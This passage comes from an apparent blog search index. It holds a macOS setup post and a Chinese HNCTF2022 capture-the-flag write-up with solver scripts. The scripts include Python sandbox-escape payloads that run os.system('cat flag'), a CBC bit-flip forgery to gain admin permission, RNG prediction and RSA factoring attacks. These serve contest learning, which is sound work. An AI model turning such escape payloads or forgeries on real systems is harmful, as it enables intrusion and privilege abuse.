continue","categories":[{"name":"比赛","slug":"比赛","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/"},{"name":"RSA","slug":"比赛/RSA","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/RSA/"},{"name":"Copper","slug":"比赛/RSA/Copper","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/RSA/Copper/"}],"tags":[{"name":"RSA","slug":"RSA","permalink":"http://example.com/tags/RSA/"},{"name":"Copper","slug":"Copper","permalink":"http://example.com/tags/Copper/"}]},{"title":"macos经验总结","slug":"macos经验总结","date":"2022-11-09T11:25:06.000Z","updated":"2022-11-18T14:43:44.000Z","comments":true,"path":"2022/11/09/macos经验总结/","link":"","permalink":"http://example.com/2022/11/09/macos%E7%BB%8F%E9%AA%8C%E6%80%BB%E7%BB%93/","excerpt":"最近买了一款macbookpro13,逐渐要使用macos了,遂开个贴记录一下遇到的问题,便于以后查阅。","text":"最近买了一款macbookpro13,逐渐要使用macos了,遂开个贴记录一下遇到的问题,便于以后查阅。 一.git的安装首先下载安装包,安装以后尝试terminal执行git命令,发现要让下载xcode,然后看了一眼xcode,好家伙5个G,瞬间不想搞了;继续搜索找到了另一个方案,原理没去深究,总之照着做就行。要注意在恢复模式下只需要开个终端改一下Rootless权限再reboot就行了,千万别重装系统啥的了。这一套搞下来再去终端执行git —version就可以了。 二.python环境搭建在官网下载3.10版本,安装,遇到了类似的问题,直接参考知乎回答,很详细,成功解决。pycharm直接搞的专业版,无脑安装。 三.zsh的优化配置1.安装brew,教程2.解决zsh主题乱码,就是换字体3.配置中科大源教程4.代码补全和高亮插件最后的效果: 四.密码学相关第三方python库安装1.gmpy2 直接pip3即可2.Crypto库需要pip3 install pycryptodome 你没看错 不是demo而是dome…3.pwn也是直接pip3 install pwntools即可当然在安装之前先换成清华源 五.sagemath环境配置之前听说mac安装sage很麻烦,实测比windows还简单…首先是有release版本的,而且很全,分为m1和酷睿两种版本,https://github.com/3-manifolds/Sage_macOS/releases/选择安装9.5版本,在teminal直接输入sage可以启动sage的cmd环境,然后可以执行pip等系统命令安装库,比如gmpy2,pwntools等;要使用notebook版本的话直接双击sage软件图标,选择notebook文件夹,再打开即可。注意新装的包要重启终端才可使用。再就是记得pip install —upgrade pip 升级下pip。","categories":[{"name":"杂项","slug":"杂项","permalink":"http://example.com/categories/%E6%9D%82%E9%A1%B9/"},{"name":"运维","slug":"杂项/运维","permalink":"http://example.com/categories/%E6%9D%82%E9%A1%B9/%E8%BF%90%E7%BB%B4/"}],"tags":[{"name":"运维","slug":"运维","permalink":"http://example.com/tags/%E8%BF%90%E7%BB%B4/"},{"name":"macos","slug":"macos","permalink":"http://example.com/tags/macos/"}]},{"title":"HNCTF2022","slug":"HNCTF2022","date":"2022-10-30T13:58:14.000Z","updated":"2022-10-30T14:05:54.000Z","comments":true,"path":"2022/10/30/HNCTF2022/","link":"","permalink":"http://example.com/2022/10/30/HNCTF2022/","excerpt":"终于打完祥云杯了,两天的比赛真的累。这是之前做的一个联合新生赛,借这个新人友好的比赛学习了一下逆向的基础题型;crypto做完了,但只记录稍微复杂的题目。misc原本是想学python jail,但是捣鼓半天也只会简单的,希望有wp可以复现。","text":"终于打完祥云杯了,两天的比赛真的累。这是之前做的一个联合新生赛,借这个新人友好的比赛学习了一下逆向的基础题型;crypto做完了,但只记录稍微复杂的题目。misc原本是想学python jail,但是捣鼓半天也只会简单的,希望有wp可以复现。 Misc[Week1]silly_zipzip文件是伪加密,但是他把前后都改了,所以两边都要把1改成0;解开以后是一张bmp图片,尝试查看低位隐写,没有找到;猜测是改变了图片的宽或者高,参考链接,计算正确的高度位77h,修改即可看见flag,这里我在没计算的情况下直接把高改大是失败的,应该是高度不能改的超过原本的大小,否则文件的大小就异常了。 [Week1]开局一张图(OSINT)首先直接去百度搜索该图片,找到胶东屋脊,苹果之都,遂百度发现是烟台栖霞;根据栖霞地图可知湖应该是长春湖,以下信息百度很容易找到:湖的原名为庵里水库,因丘处机而得名,2010年设立旅游度假区。比较麻烦的是一和六两个问题,第六个问题必须找到该烟台政府网站上的title,其他新闻网站上的均不正确;而第一个问题很容易认为是苹果公园,因为图片里有三个苹果并且苹果公园的地标也是类似的大苹果;根据hint以及不断地搜索,找到滨湖公园,终于正确。所以flag为nssctf{滨湖公园-长春湖-庵里水库-丘处机-2010-环长春湖2012山东省公路自行车锦标赛} [Week1]线下单杀出题人(OSINT)首先用EXIF查看A原图信息,得到拍摄经纬度为30 deg 47’ 12.96” N, 120 deg 44’ 23.48” E,定位发现是在嘉兴汽车北站,因为B图看起来像是公园,所以直接找周围的公园可定位到穆湖森林公园。在汽车北站和公园附近的酒店挨个排查,通过水壶和室内装饰锁定为亚芬汀精品酒店。 1234from hashlib import *s = '嘉兴市南湖区禾兴北路506号亚芬汀精品酒店'.encode()h = md5(s).hexdigest()print(h) [Week1]python2 input(JAIL)123eval(input())__import__('os').system('ls')__import__('os').system('cat flag') [Week1]calc_jail_beginner_level1过滤了i和b以及单双引号; 做了一些尝试,比如用chr来拼接出eval(‘input()’): 123456789eval("eval(input())")和eval("eval('input()')")是不一样的前者执行的是 eval(input())后者 eval("eval")这一层等价于eval,于是最终执行的是 eval('input'),所以只有input的效果了当然如果是eval("input()")那么只会返回输入的字符串 最后采取读文件的方式绕过,简单粗暴… 1open(chr(102)+chr(108)+chr(97)+chr(103)).read() 本质上eval只会执行一次,那么只需要把文件名用chr拼接即可,其他部分不能用chr拼接,否则返回的是命令的字符串。 [Week1]calc_jail_beginner_level2payload长度不大于13,用input即可: 12eval(input())__import__('os').system('cat flag') [WEEK2]Baldi’s Basics1000次加减乘除,存一个比较简约的脚本以后直接用。 12345678910111213from pwn import *io = remote('1.14.71.254',28715)io.recvuntil(b'!\\n')for i in range(1000): print(i) io.recvline() r = io.recvline().strip() tmp = eval(r) io.sendline(str(tmp).encode())io.interactive() [WEEK3]看不见的代码https://vii5ard.github.io/whitespace/解密。 [WEEK3]神秘的压缩包crc32爆破,取可读字符拼接为: 1passwordisClassicalencryptionishint6 得到密码解压,里面是一段可见乱码,和flag对照一下ascii码发现相差9,解密即可: 123c = "]cX^r:X\\jXiV`jVm\\ipV`ek\\ijk`e^t"for i in c: print(chr(ord(i)+9),end='') Re[WEEK2]Easy_Androidjadx反编译整个apk,定位和flag有关的代码: 12345678910111213141516171819202122232425public boolean checkSN(String userName, String sn) { if (userName == null) { return false; } try { if (userName.length() == 0 || sn == null || sn.length() != 22) { return false; } MessageDigest digest = MessageDigest.getInstance("MD5"); digest.reset(); digest.update(userName.getBytes()); String hexstr = toHexString(digest.digest(), ""); StringBuilder sb = new StringBuilder(); for (int i = 0; i < hexstr.length(); i += 2) { sb.append(hexstr.charAt(i)); } if (("flag{" + sb.toString() + "}").equalsIgnoreCase(sn)) { return true; } return false; } catch (NoSuchAlgorithmException e) { e.printStackTrace(); return false; }} 这里就是把username做了个md5哈希,然后取偶数下标的字符进行拼接,和sn进行比对,若一致则返回true,那么这个sn其实也就是flag了。写个python脚本即可: 123456from hashlib import *user = 'Tenshine'h = md5(user.encode()).hexdigest()for i in range(0,len(h),2): print(h[i],end='') [WEEK2]Packetupx -d脱壳,base64加密,但是它把base表的大小写字母顺序换了,所以把密文的大小写交换解密即可。 123456import base64s = 'TlJRQFBBdTs4alsrKFI6MjgwNi5p's = base64.b64decode(s)for i in range(len(s)): print(chr(s[i]+i),end='') [WEEK2]来解个方程?解22维的矩阵方程即可,我用的sagemath,也可以用z3但是应该挺慢的。 12345678910111213141516171819202122232425262728293031323334353637383940from sage.all import *f = open("xishu.txt",'r')m = []v = []L0 = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]L1 = [0,0,0,0,0,0,0,0,0,0,0,0,0]L2 = [0,0,0,0,0,0,0,0,0,0,0]L3 = [0,0,0,0]for i in range(6): tmp = [int(j) for j in f.readline().strip().split(' ')] v.append(int(tmp[-1])) tmp1 = L0 + [tmp[-2]] + tmp[:-2] #print(tmp1) m.append(tmp1)for i in range(9): tmp = [int(j) for j in f.readline().strip().split(' ')] v.append(int(tmp[-1])) m1 = [[191,212,153,342,490,325,485,56,202],[22,348,185,134,153,24,22,460,207],[100,177,231,489,339,433,311,164,154],[82,257,337,68,466,470,22,270,360],[54,246,235,468,91,151,73,92,197],[343,241,377,131,243,233,55,376,242],[61,356,200,5,458,136,301,284,364],[71,154,55,406,107,17,80,71,66],[99,335,201,63,494,197,280,409,56]]for i in m1: tmp = i[:4] + [0,0,0,0,0,0,0] + i[4:] + [0,0,0,0,0,0] m.append(tmp) #print(tmp)for i in range(6): tmp = [int(j) for j in f.readline().strip().split(' ')] v.append(int(tmp[-1])) tmp1 = L3 + [tmp[-2]] + tmp[:-2] + L2 #print(tmp1) m.append(tmp1)v.append(1005746)m.append(L3+[1173,186,2712,2136,3584,138,98]+L2)mt = matrix(ZZ,m)print(mt)vec = vector(v)print(vec)sov = mt.solve_right(vec)print(sov)print(mt.rank()) [WEEK2]getflag点击很多下能够出flag,所以静态patch修改条件即可,那么我们可以把条件改为点击次数大于1即出flag: patch之后要记得apply patch to… [WEEK2]e@sy_flower最常见的花指令,参考链接,改为nop以后要用快捷键p创建函数,得到伪代码: 123456789101112131415161718192021222324252627282930313233int __cdecl __noreturn main(int argc, const char **argv, const char **envp){ signed int v3; // kr00_4 int i; // edx char v5; // cl unsigned int j; // edx int v7; // eax char v8; // [esp+0h] [ebp-44h] char v9; // [esp+0h] [ebp-44h] char Arglist[48]; // [esp+10h] [ebp-34h] BYREF sub_401020("please input flag\\n", v8); sub_401050("%s", (char)Arglist); v3 = strlen(Arglist); for ( i = 0; i < v3 / 2; ++i ) { v5 = Arglist[2 * i]; Arglist[2 * i] = Arglist[2 * i + 1]; Arglist[2 * i + 1] = v5; } for ( j = 0; j < strlen(Arglist); ++j ) Arglist[j] ^= 0x30u; v7 = strcmp(Arglist, "c~scvdzKCEoDEZ[^roDICUMC"); if ( v7 ) v7 = v7 < 0 ? -1 : 1; if ( !v7 ) { sub_401020("yes", v9); exit(0); } sub_401020("error", v9); exit(0);} 先异或再置换: 123456789c = 'c~scvdzKCEoDEZ[^roDICUMC'len = 24l = [chr(0x30^ord(i)) for i in c]for i in range(0,12): tmp = l[2*i] l[2*i] = l[2*i + 1] l[2*i + 1] = tmpprint(''.join(l)) [WEEK2]TTTTTTTTTeaTea加密算法。注意整数类型内部存储:低地址存储低位,高地址存储高位。比如int a=1,则存储情况为0000(高地址) 0000 0000 0001(低地址)。所以key应该是unsigned int key1[4] = { 0x00010203,0x04050607,0x08090A0B,0x0C0D0E0F}尝试解密: 1234567891011121314151617181920212223242526272829303132333435363738#include<stdio.h>#include<stdint.h>#define DELTA 0x9981abcdvoid tea_encrypt(unsigned int* v, unsigned int* key) { unsigned int l = v[0], r = v[1], sum = 0; for (size_t i = 0; i < 32; i++) { //进行32次迭代加密,Tea算法作者的建议迭代次数 l += (((r << 4) ^ (r >> 5)) + r) ^ (sum + key[sum & 3]); sum += DELTA; //累加Delta的值 r += (((l << 4) ^ (l >> 5)) + l) ^ (sum + key[(sum >> 11) & 3]); //利用多次双位移和异或将明文与密钥扩散混乱,并将两个明文互相加密 } v[0] = l; v[1] = r;}void tea_decrypt(unsigned int* v, unsigned int* key) { unsigned int l = v[0], r = v[1], sum = 0; sum = DELTA * 32; //32次迭代累加后delta的值 for (size_t i = 0; i < 32; i++) { r -= (((l << 4) ^ (l >> 5)) + l) ^ (sum + key[(sum >> 11) & 3]); sum -= DELTA; l -= (((r << 4) ^ (r >> 5)) + r) ^ (sum + key[sum & 3]); } v[0] = l; v[1] = r;}int main(int argc, char const* argv[]){{ unsigned int key1[4] = { 0x00010203,0x04050607,0x08090A0B,0x0C0D0E0F };//key1 unsigned int v1[2] = { 876839116,-1532163725}; tea_decrypt(v1, key1); printf("tea_decrypt:%x %x\\n", v1[0], v1[1]); return 0;}} Crypto[Week1]littleprinceenc就是循环右移32位,每次enc完再右移得到的x其实就是flag的32位;并且题目的每组p和q都是质数,可以通过crt求出每轮的x;注意有几轮32位的x大于p乘q,即在crt求出结果以后要再加上一个pq才是正确结果。 123456789101112131415161718192021222324252627282930313233from Crypto.Util.number import *from sympy.ntheory.modular import *import stringtable = string.printablef = open('output.txt','r')data = []flag_ = ''for i in range(14): tmp = [int(j) for j in f.readline().strip().split(' ')] mod = [tmp[0],tmp[1]] c = [tmp[2],tmp[3]] print(mod) print(c) # for ii in mod: # print(isPrime(ii)) m = crt(mod,c) print(m) m_ = m[0] print(long_to_bytes(m_)) if i == 2 or i == 5 or i == 8: t = str(long_to_bytes(m_+m[1]))[2:-1] else: t = str(long_to_bytes(m_))[2:-1] flag_ = flag_ + tprint(flag_)flag = ''for i in range(len(flag_),0,-4): print(flag_[i-4:i]) flag = flag + flag_[i-4:i]print(flag) [WEEK2]Chaos加密的第二部分时间戳t是和0x66进行异或的,所以可以还原20位时间戳,并通过预测伪随机数还原enc;拿到enc之后我通过正向爆破获得了置换群,再逆运算mix还原flag。 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273from hashlib import md5import randomfrom functools import reduceknow = 'VVWPPRPUPTSQHW__WUQT'for i in range(20): tmp = chr(ord(know[i])^0x66) print(tmp,end='')print()t = '001664636257.1991372's = 'NSSCTF{'random.seed(md5((s+t).encode()).hexdigest())f = open('output','rb').read()flag_len = len(f) - 20print(flag_len)rnd = [random.getrandbits(8) for _ in range(flag_len)]enc = bytes([i^j for (i,j) in zip(f,rnd)])enc = str(enc)[2:-1]print(enc)def mix(k,msg): tmp = ''.join(reduce(lambda a,b:a+b,[[msg[j] for j in range(i,len(msg),9)] for i in k])) return tmp# 正向爆破置换# import itertools## test = 'NSSCTF{'+'*'*25 + '}'## for k in itertools.permutations([1,2,3,4,5,6,7,8],8):# k = [0] + list(k)# flag = 'NSSCTF{' + '*' * 25 + '}'# for i in range(128):# flag = demix(k,flag)# #print(flag)# if flag[0] == 'N' and flag[3] == 'S' and flag[9] == 'S' and flag[12] == 'T' and flag[15] == 'F' and flag[18] == '}' and flag[25] == '{' and flag[24] == 'C':# print(k)# [0, 6, 8, 7, 3, 1, 5, 2, 4]# NcnSmPiltSetTniFJw}akhtaC{_s_iu__# 逆mix,我做的有点复杂def demix(s): tmp = ['*']*33 p1 = 17 p2 = 25 p3 = 13 p4 = 29 p5 = 21 for i in range(4): tmp[9*i] = s[i] tmp[9*i+1]= s[p1+i] tmp[9*i+2]= s[p2+i] tmp[9*i+3]= s[p3+i] tmp[9*i+4]= s[p4+i] tmp[9*i+5]= s[p5+i] pp1 = 4 pp2 = 10 pp3 = 7 for i in range(3): tmp[9*i+6] = s[pp1+i] tmp[9*i+7] = s[pp2+i] tmp[9*i+8] = s[pp3+i] return ''.join(tmp)s = 'NcnSmPiltSetTniFJw}akhtaC{_s_iu__'for i in range(128): s = demix(s)print(s) [WEEK3]Binomials123456789101112131415161718from Crypto.Util.number import *from gmpy2 import *n = 0xa65149a38fe4784da050db9390c5cc5d4b9ef376b40e6919b487aadec0bd4c6e683205f3bf1d6bb51fceb9e14965305183229184ec69b4e22b467ad2c08337e81a54219dd40160c9d84a4abdf95e05121a11737570b0924ed8941390a3e1fae259f745b76f4a0a23ece5cbcbda5269d7312329b105cd255d2a2ffaf905d32b6b42e64f1bd67039f526789e9065b41a9426a1e9a6e65746af7c4ca343ddbf1392073b566a37c2e66edeef47ecc4629dee6fa4f5dc839ffa6b2647eb0b6dced42bff46653e7205bf37e89d4c417fd41cf8d315448e593f08e2d1e8d7c4b299ce35f59bf45830f9efdaaf51f726e4466ef0fb583d8c6285b6a04477eba429a7fb81e1,e2 = 0x10001,0x65537c1,c2 = 0xa371721c01ab221a30fcf761b3a22cff4cb3401eb76db69743cba2d24225fe3edf05053674039928cf3a2e1ddc58f03cc90c3837cd43281b228952d5c28c5798092550176362fe6474b2f7e8c3af328999688161322d218e39a168dea95c1581ad0c367ce969f1f6531fe12240417350d0b1c7c9b257d261c91548dff2a4f15678585745e0adf9215997dc590999feb03bd32889e92688d2d30ff73edcb67791726f9e0eac9480d48e4e37bfd268fd22200534ece8e3eb59504c8bb4aa6e7153c8476655ee01d5a624f77a6c5149eacd6783ce894798467b2ecefa4199ce40d009817053f6816d36c2dcf985092ef56f2589571fead26e15640add0bc1a885a6,0x2ce039abd666a05b18f2831caca34a6800c495e439553ef40ceed62e881bc23b69b8f7526b57fef2b5fe7299173e5c271e934cb9240b1b5b5a18590be50b6359f5cd08d08607aaa039a37eabebb722dcc85449e335f96d580f936ec9e406b0be5298f8b5244155534a15db5cc8f24abad4acb6bbb83095bd151ef9dd2102a81865e2bb7e705d7f1a8a39f51c3990e20740ff3724bd6c5d52098200a445bf604e477dc3f6e849d1e0021252c52755c8402601020041cdc6f2ffa4cc901ef5ef21e00417a2e586c7d66c65927b67c86f239abe6ee6456a122ef557812dafad26e00ef22069381b3a2755824a1e6e3eb3c5af62316adea1d9ecd64e4f06bbd8926dc = 0x99b0b0a6a427ed9e3b757ed516f396e4f2f88712a6ff38b954d189aa46642e55fcf550f9e5b378523f98f969ba6a3e70baa13f71ca92b7d0bfc248b22b91ac586f48d930d5c8180acb466a438d4abe338d1fdb6e3521a1ffab07908882e6e245466de85b2469ba6d273a46672c151430a9d5cc0521bf6b648727d5f188662ee130315e92ded631b366de1302b7617b5d132d3732ff7f76c95e7bbbf8f6aca7b15c427b1814778cb5ab7d60b250a4ed718d9d72666220df76205d537fc2672bbf15ffe2c03bb92b2b6bec6ad1cd46862c6bdfa4b2d2c3ff09b5b2d68268078578d2404fdc61c71d7f3fc678530ebcd283ef5594c6ebe44ecd19ba70f517efe69b# 运算都在modn下进行,否则指数爆炸,计算很慢t1 = pow(c1*pow(3,e1,n),e2,n)t2 = pow(c2,e1,n)q = gcd(t2-t1,n)print(q)p = n//qf = (p-1)*(q-1)d = invert(e1,f)print(long_to_bytes(pow(c,d,n))) [WEEK3]s1mple_block爆破两字节即可 1234567891011121314151617181920212223242526272829303132333435363738394041424344from pwn import *from hashlib import *import stringtable = string.ascii_uppercase + string.ascii_lowercase + string.digitsio = remote('1.14.71.254',28683)def proof(): s1 = io.recvline() print(s1) p1 = s1.find(b'X+') p2 = s1.find(b')') p3 = s1.find(b'== ') s = s1[p1+2:p2] h = s1[p3+3:-1] h = h.decode() print(h) print(s) for i in itertools.product(table, repeat=4): d = ''.join(i).encode() dd = d + s #print(dd) if sha256(dd).hexdigest() == h: print(d) io.sendline(d) io.interactive()proof()import itertoolsimport hashlibfrom Crypto.Cipher import AESimport binasciic = b'6c3f85e5307f6aaec56a9cccf0a3c8d98992be4e3086cb4198d284a15ca8e660'c = binascii.a2b_hex(c)print(len(c))print(c)for i in itertools.product(range(256), repeat=2): rand = bytes(i) key = hashlib.md5(rand).digest() aes = AES.new(key,AES.MODE_ECB) tmp = aes.decrypt(c) if b'NSS' in tmp: print(tmp) [WEEK3]AnyoneIsOk给的是100组pem格式的公钥,可以用RSA库去批量提取n e,依次取两个n来求公因子,第22组和第43组存在公因子,即成功分解模数。需要注意这里的填充方式是PKCS1_OAEP,不能以pow(c,d,n)解密,要用Crypto.Cipher.PKCS1_OAEP解密。exp: 1234567891011121314151617181920212223242526272829303132333435363738394041424344import Crypto.PublicKey.RSA as RSAfrom gmpy2 import *l = []for i in range(1,101): with open(f"data/{i}.pem", "r") as f: ciph = RSA.importKey(f.read()) n = ciph.n e = ciph.e l.append(n)for i in range(1,101): with open(f"data/{i}.pem", "r") as f: ciph = RSA.importKey(f.read()) n = ciph.n e = ciph.e #print(e) for nn in l: if gcd(nn,n) != 1 and gcd(nn,n) != n: print(i,n,nn)n22 = 18170543972130600065152757040329327385578620426300242180477762789459468642595136972262126726842072396361120565968601326463551691972675513849752672005415858441684424728082649999475766997119635974303450293428428331700864498709490563462145412926665682183754308918050419434469411302203132567441842045427990531791299594923554274829565712934905192687994493167195965002041302758441077302679849896158357228267187702900659834770484449796142249290936217291139214093913345437362674341034794069366989773301821057888105543395131552827382132347337876684294901365180636048209860728405803398203193264762380762438367127130177078419173nn22 = 21886103916331042026471976707018077345373500709547608744926784021522268651263700774772687397750518326001924679732775066091506858661185642121499398192338368010820655135877006143244578578722332007743788346644606885565071643080532898877867989158334861970611431525040763020600094521366242776095408035919831393956939481070568641654142682465797917147204312882110766891434526789023700563204921709516366563136993814646102892048330479503154484145799108150890075955992511846323319816541673242667787642258236899777158100385745886020565584577959077111246540175908928657634787282695074433565252326039667911441110872163478106074101p = gcd(n22,nn22)#print(p)q = nn22//passert p*q == nn22f = (p-1)*(q-1)e = 65537d = invert(e,f)print(nn22.bit_length())with open("data/msg43", "rb") as f: c = f.read()privkey = RSA.construct((int(nn22), e, int(d)))from Crypto.Cipher import PKCS1_OAEP# 解密cipher_text = open(r"data/msg43", "rb").read()ciphertxt = cipher_textcipher = PKCS1_OAEP.new(privkey) #这里直接用privkey了message = cipher.decrypt(ciphertxt)print(message) [WEEK3]Base42?本质上就是进制转换,把flag每个字符的ascii码放在256进制下,再转成42进制去对照表完成加密;所以解密就是个逆过程,把42进制放在256进制下。 12345678910111213141516alphabet = "0123456789aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpP"cipher = '0gpnO5ffI310EEjF3LeHCf7LC7HnfhIN0LMK1E79Gdf1dFCN93nBL35eJfKMhkAM000000000000000008fb46HFH4pA4GKI'for i in range(0,len(cipher),32): sum = 0 tmp_c = cipher[i:i+32][::-1] count = -1 for j in tmp_c: count = count + 1 index = alphabet.index(j) sum = sum + index * 42**count flag = '' while sum!= 0 : flag = flag + chr(sum%256) sum //= 256 print(flag[::-1]) [WEEK3]AES简单的CBC漏洞,用前一组密文作为key解密。 12345678910from Crypto.Cipher import AESct = b'\\x179\\xb8l\\x97\\xbew\\xc2\\xd5f~\\x8e\\xdc\\xf2\\x9b\\xabR\\xa9a\\xd2\\xf4\\xde\\xd6|\\xd1\\x9f\\xe9q\\x1d\\xfcm\\xfbj\\xe9\\x9e\\xab\\xf5fL\\xb3\\xb5_\\xa5\\x16\\x8e\\x7f\\x9fV`\\x8b\\x16\\xa1\\xa6)\\x08\\x97\\x91\\xbd3\\x1d\\xeb\\\\\\x86\\xa2\\xd6\\x94>\\xf3\\xfdt\\xd9\\x14\\xf3\\xfc\\xe2\\x02\\xd6\\xc4\\xcfq"\\x1a\\x14~2]4\\x9f\\xc9\\x88\\xf8\\x12\\xb6\\xa2\\xd7\\xec\\x0b\\x7f\\xd4d\\xdc\\xc6\\xb4]\\x10u\\xc6f\\x97m\\xccA\\x82\\x02\\xa5gh\\x85\\x85Wz\\xd9.\\xff\\x9bx\\x99J\\x0e\\x86\\x16\\x90\\xad\\x1e\\x17\\x86\\x95\\xb8S\\x17\\xea\\x93v\\xd0'flag = b''for i in range(16,len(ct),16): key = ct[i-16:i] aes = AES.new(key,AES.MODE_ECB) flag = flag + aes.decrypt(ct[i:i+16])print(flag) [WEEK3]partialP已知p高位攻击,coppersmith。 123456789101112131415161718192021222324from sage.all import *c = 2226099021169425534206121605501718994593261953280046899345810118356590881389142531649792348146129153474985003929407172972982275439970723778495455838452638879586163957468972518078320159354264971816842073874550773309020013613432004074760802192607651584906352686468143648939740004838208640531785439362344039075 n = 96928253979490973984593903132811649229014718994486532280648145898877952846656019305217095845257550421730063527538581223570539203247068060192535543753763017716750817560470547219370972835770943358384150269303529653434434525449357699107332781898776312692702549420939758722366794431784782973884379040574148608179 p4 = 9605964225476901441398365225327926616880072280289780777971846998748464126891804587377933727304510424852546683782576240573278202121547956666293242671661056>>128e = 65537#p4为p去除二进制0低位的剩余位e = 0x10001pbits = 512kbits = pbits - p4.nbits()print(p4.nbits())p4 = p4 << kbitsPR.<x> = PolynomialRing(Zmod(n))f = x + p4roots = f.small_roots(X=2^kbits, beta=0.4)if roots: p = p4+int(roots[0]) print("n= "+str(n)) print("p= "+str(p)) print("q= "+str(n//p)) [WEEK3]babyCBCcbc字节反转,理论可参考https://blog.csdn.net/qq_45698157/article/details/109746592 。由于本题中的guest刚好是在第二个分组的起始位置,所以很容易修改,把该组和Admin及前一组明文做xor即可,给出exp: 12345678910111213141516171819202122232425262728293031import timefrom Crypto.Cipher import AESimport jsonfrom Crypto.Util.Padding import pad,unpadimport binasciifrom pwn import xorplaintext = ''payload = {'permission':'Guest','Time':f'{time.time()}','data':plaintext}print(payload)payload = pad(json.dumps(payload).encode(),16)print(payload)admin = b'Admin\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'guest = b'Guest\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'm = '11111111111111111'c_hex = '5799e0ed7cef28f1d37699994209fa668f35719d6b50a766c3c64545423bc5198acc80fa9e5e45b0d65d384fa4d2615d9e35dacaf9750a503d5d96b7e9f10abe898b1b64b9eb50caffd057f2ac5c8683a9dadf82035a058af6acf8795c081ff7e527cc5b924e931e5be4183321e4ebdf'iv = c_hex[:32]c_hex = c_hex[32:]c = binascii.a2b_hex(c_hex)fake_c = xor(admin,c[:16])fake_c = xor(fake_c,guest)print(len(fake_c))#fake_hex = c_hex[:32] + str(binascii.b2a_hex(fake_c))[2:-1] + c_hex[64:]fake_hex = str(binascii.b2a_hex(fake_c))[2:-1] + c_hex[32:]enc_flag = '71db4776b7ff1efb103db790992216b0f7299fc90e81459f8467aeb6a0ef861128c3b4eb6d8f136c75cd11127842588634893ea4e4705284f657cf3ba1e17739278b1ff3b4815c065aeef082112c4cf092f5b06c03899c824bc2676a5411a7a52ddbcf7251afdfe506bf3a20ef7db01030ad28e3d9b30a00467d557e181cc5564259b9986d444ee9d106987a0a4d38d58433d9d0b7bfe7844798bb466e6021041dc688041063454eb2e14325c0802ec1'print(iv+'||'+fake_hex+enc_flag)# 服务器解出的flag的hex形式flag = '4e53534354467b42724f6e59615f5a61596348694b5f42726f6e79615f42726f6e79615f42726f6e79617d'print(binascii.a2b_hex(flag))# NSSCTF{BrOnYa_ZaYcHiK_Bronya_Bronya_Bronya} 这是伪造信息加上enc_flag解密得到的返回值,data里就是flag的hex: [WEEK4]randommt19937预测: 123456789101112131415161718192021222324252627from Crypto.Cipher import AESfrom binascii import a2b_hexfrom mt19937predictor import MT19937Predictorfrom hashlib import *f = open("output.txt", 'r').readlines()random_32 = []for i in f: random_32.append(int(i))print(random_32)Pre = MT19937Predictor()for i in range(624): Pre.setrandbits(random_32[i],32)for i in range(666-624): Pre.getrandbits(32)c = a2b_hex('91fd1824ddc0a35e845e87f59e53a103334df418e6a65a7d7769699c3ca2119019361cd23a46a61d4e7f6cdff5f5200f586f90b66eabfd8ecff4ddf11ee444d37f80ada0bbe8af09e4fc32c1a51e3f29e2771b51c71d2ba4acb84fda61904b96')iv = c[:16]c = c[16:]r = Pre.getrandbits(32)key = bytes.fromhex(hex(r)[2:])key = md5(key).digest()cipher = AES.new(key,AES.MODE_CBC)dec = AES.new(key,AES.MODE_CBC,iv)print(dec.decrypt(c)) [WEEK4]square有限域开根: 12345678910111213from Crypto.Util.number import *n = 0xcaea4e2db0dc68029999cdad792fa1f9142117163af28f3230f7500ef748841554141ef35555ba23b95dc87f4c83f75dad14b6204dd4907fb75650fa7799def911f077b945f359e345bb9350c4a8268906c547e95e5819ef44ff124566a88fa2174ddfe3e895016df0036b59a50c6efb78724bde5d16a8a5cae45c918f329e462d10abe56ecdfae95bd13665260d0e8b648540d11f2447eef9aef3ea370faaecaab4c82ec1fe2bc83f2ce1b2793d95187eb2637e75700ba9745c253e928a4a603139dbf6b8bbf8111900a58be21a269992a9744c0284cf8f3ad7a3b95106d17af6baceac1acf543e425dc6317ab7f799a8ce19633b22e709eacb5d74ce4b56f9e = 16c = 0x2700a92e463d1c5da073b38d075a2da57c89ff9d658066c0bd38391cc60259a4fc992f1a6f1c5756d6e5934831fc0fbf7bfd85607f0d18781d30a4ab485e119af4f08b5fe7bf927aeaf7572b05dfec764d6ddda2b247b9f6b731300ece4209606d94c5708388d6e8efc1fa6e9c0cdda41cee95eb4a6b053b862fc43e55648973863f9874ee79ce4408277c9dc38fb26b44880e58f054b957c64fcf0d39c1fd496ad2fc5f5e5e70ba41422a4d945da299b5a695a4b7013a1f9ae1b629e395ffb0942d783d6e6be1f0888dfcb02d0aa1e9b7076e952a339bdc60f044f598afa2da28a4d7f094b959c8a8fefd5a11d10971cd681722f6868cf15a200cb910c591e1P.<a>=PolynomialRing(Zmod(n),implementation='NTL')f=a^e-cmps=f.monic().roots()print('ok')print(mps)for mpp in mps: if b'NSSCTF' in long_to_bytes(int(mpp[0])): print(long_to_bytes(int(mpp[0])))","categories":[{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"新生赛合集","slug":"赛事/新生赛合集","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/%E6%96%B0%E7%94%9F%E8%B5%9B%E5%90%88%E9%9B%86/"},{"name":"HNCTF2022","slug":"赛事/新生赛合集/HNCTF2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/%E6%96%B0%E7%94%9F%E8%B5%9B%E5%90%88%E9%9B%86/HNCTF2022/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"NSS","slug":"NSS","permalink":"http://example.com/tags/NSS/"},{"name":"新生赛","slug":"新生赛","permalink":"http://example.com/tags/%E6%96%B0%E7%94%9F%E8%B5%9B/"}]},{"title":"领航杯2022","slug":"领航杯2022","date":"2022-10-25T13:32:50.000Z","updated":"2022-10-25T14:12:56.000Z","comments":true,"path":"2022/10/25/领航杯2022/","link":"","permalink":"http://example.com/2022/10/25/%E9%A2%86%E8%88%AA%E6%9D%AF20